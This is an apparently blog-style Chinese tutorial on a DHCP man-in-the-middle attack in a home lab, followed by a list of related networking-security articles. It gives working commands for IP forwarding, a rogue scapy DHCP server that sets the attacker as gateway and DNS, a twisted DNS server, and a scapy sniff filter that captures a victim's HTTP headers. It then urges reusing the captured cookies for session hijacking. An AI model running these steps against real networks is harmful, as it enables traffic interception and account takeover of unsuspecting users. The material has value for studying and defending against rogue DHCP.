DHCP 中间人攻击入门

简介: DHCP是,是干啥的呢?简单来说是为了自动化为网络中的主机配置各种配置,包括ip地址,网关,域名服务器等等。有篇不错的中文教程带你回顾整个dhcp服务过程,然而,事情不总是这样的。比如linux和安卓一般默认就没有arping检查重复ip的过程。

image.png

实验准备

  • scapy:用来伪造dhcp/dns服务器,抓包(调用tcpdump)
  • tcpdump/wireshark:来观察网络流量。
  • twisted来建立dns服务器
  • 某个测试机器和某路由无线网络


一点DHCP协议基础

DHCP是,是干啥的呢?简单来说是为了自动化为网络中的主机配置各种配置,包括ip地址,网关,域名服务器等等。

有篇不错的中文教程带你回顾整个dhcp服务过程,然而,事情不总是这样的。比如linux和安卓一般默认就没有arping检查重复ip的过程。


Rogue DHCP Server

流氓服务器,指非法在网络中提供dhcp服务的机器。由于dhcp服务没有认证过程,任何dhcp服务器都能为网络上的机器提供服务。实际上就是几个服务器竞争看谁反应快客户端就使用谁,这为中间人攻击提供了可能。


一次中间人攻击

我们试着搭建一个流氓dhcp服务器来指向错误的网关和dns(即我们自己)。

本机的ip地址是192.168.1.101,这是无线路由中dhcp服务器分配的。为了让实验一定成功,最好干脆把无线路由的dhcp功能关掉,自己手动配置地址192.168.1.101,然后搭建个dhcp服务器。

首先,确认设置ip转发功能:

gentoo ~ # echo 1 > /proc/sys/net/ipv4/ip_forward

首先,用scapy搭建一个dhcp服务器,把网关指向自己。scapy中DHCP_am的设计就是把nameserver也指向网关,可参考源代码。

>>>dhcp_server= DHCP_am()

>>>dhcp_server.gw='192.168.1.101'

>>>dhcp_server()

监听观察,发现默认网关的dhcp服务器竟然给了一个dhcpnak

~ $sudo tcpdump -i wlan0 port 67or port 68

tcpdump: verbose output suppressed, use -v or -vv for full protocol decode

listening on wlan0, link-type EN10MB (Ethernet), capture size 65535bytes

23:18:55.634526 IP 0.0.0.0.bootpc > 255.255.255.255.bootps: BOOTP/DHCP, Request from 22:22:22:22:22:22 (oui Unknown), length 302

23:18:55.681009 IP 192.168.1.101.bootps > 192.168.1.128.bootpc: BOOTP/DHCP, Reply, length 296

23:18:55.688288 IP 0.0.0.0.bootpc > 255.255.255.255.bootps: BOOTP/DHCP, Request from 22:22:22:22:22:22 (oui Unknown), length 314

23:18:55.781062 IP 192.168.1.101.bootps > 192.168.1.128.bootpc: BOOTP/DHCP, Reply, length 296

23:18:56.124282 IP 192.168.1.1.bootps > 255.255.255.255.bootpc: BOOTP/DHCP, Reply, length 548

用twisted建立一个DNS服务器:

sudotwistd-ndns --recursive --cache

在scapy中开始中间人攻击(窃听),比如窃听http头:

pkts = sniff(filter="(tcp port 80 and (((ip[2:2] - ((ip[0]&0xf)<<2)) - ((tcp[12]&0xf0)>>2)) != 0)) and host 192.168.1.128 and (not host 192.168.1.1)",iface="wlan0", prn=lambda x: x.sprintf("{IP:%IP.src% -> %IP.dst%\n}{Raw:%Raw.load%\n}"))

192.168.1.128 -> 123.125.70.102

'GET /tongji/anchor?type=webapp_pv&t=1394205309005&page=carousel HTTP/1.1\r\nHost: wk.baidu.com\r\nAccept-Encod此处略去具体信息'

搞到cookie后尽情发挥吧,可以用temper data这种东西在火狐里试下。当然,cookie可以在各种地方比如requests啊selenium里啊使用。

完工。其实后来实验时无线路由dhcp服务器被选中了,然后我的rogue dhcp server就一直处于无用状态。

FIXME:可以尝试一个dhcprelease来试着解除租约,可能涉及xid或transaction ID这些东西的监听和伪造。也许会在查阅更多资料后尝试,也许。

Update:以下这个链接做了这些,不过,它怎么获得xid(transaction id)的不是很明白,要赶在dhcp client的dhcprequest发出之后dhcp server返回dhcpack之前向dhcp client注入dhcpnak,好像得在开始建立连接的时候就开始监听,获取transaction id,直接就伪装成dhcp服务器想客户端发送dhcpnak。

附注: 最开始我用scapy来建立dns服务器: dns_spoof().关于用scapy做DNS转发服务器,参见PacketGeek上scapy的教程Scapy and DNS


相关文章
|
7月前
|
网络协议 网络虚拟化
网络协议与攻击模拟-14-DHCP协议-DHCP snooping
网络协议与攻击模拟-14-DHCP协议-DHCP snooping
36 1
|
7月前
|
网络协议 Windows
网络协议与攻击模拟-12-部署DHCP服务器
网络协议与攻击模拟-12-部署DHCP服务器
43 0
|
2月前
|
域名解析 监控 网络协议
计算机网络:DHCP协议
DHCP,即动态主机配置协议(Dynamic Host Configuration Protocol),是一个广泛使用的网络管理协议,设计用于在IP网络中自动分配IP地址和其他重要的网络配置参数。
31 1
|
5月前
|
网络协议 安全 Apache
#ettercap的dns欺骗实验
#ettercap的dns欺骗实验
75 0
|
10月前
|
网络协议 安全
计算机网络——DHCP协议详解
计算机网络——DHCP协议详解
267 2
|
网络协议 安全 Shell
|
域名解析 网络协议 安全
【内网安全-隧道技术】SMB、ICMP、DNS隧道、SSH协议
【内网安全-隧道技术】SMB、ICMP、DNS隧道、SSH协议
627 0
【内网安全-隧道技术】SMB、ICMP、DNS隧道、SSH协议
|
缓存 网络协议 安全
第七章 TCP/IP-ARP网络攻击与欺骗
了解ARP协议,以及利用ARP进行网络攻击与欺骗。
137 0
第七章 TCP/IP-ARP网络攻击与欺骗
|
网络协议
【计算机网络】网络层 : DHCP 协议 ( DHCP 协议概念 | DHCP 协议特点 | DHCP 协议流程 )
【计算机网络】网络层 : DHCP 协议 ( DHCP 协议概念 | DHCP 协议特点 | DHCP 协议流程 )
222 0
|
安全 Shell Python
[web安全]ICMP隧道小记
[web安全]ICMP隧道小记
124 0
[web安全]ICMP隧道小记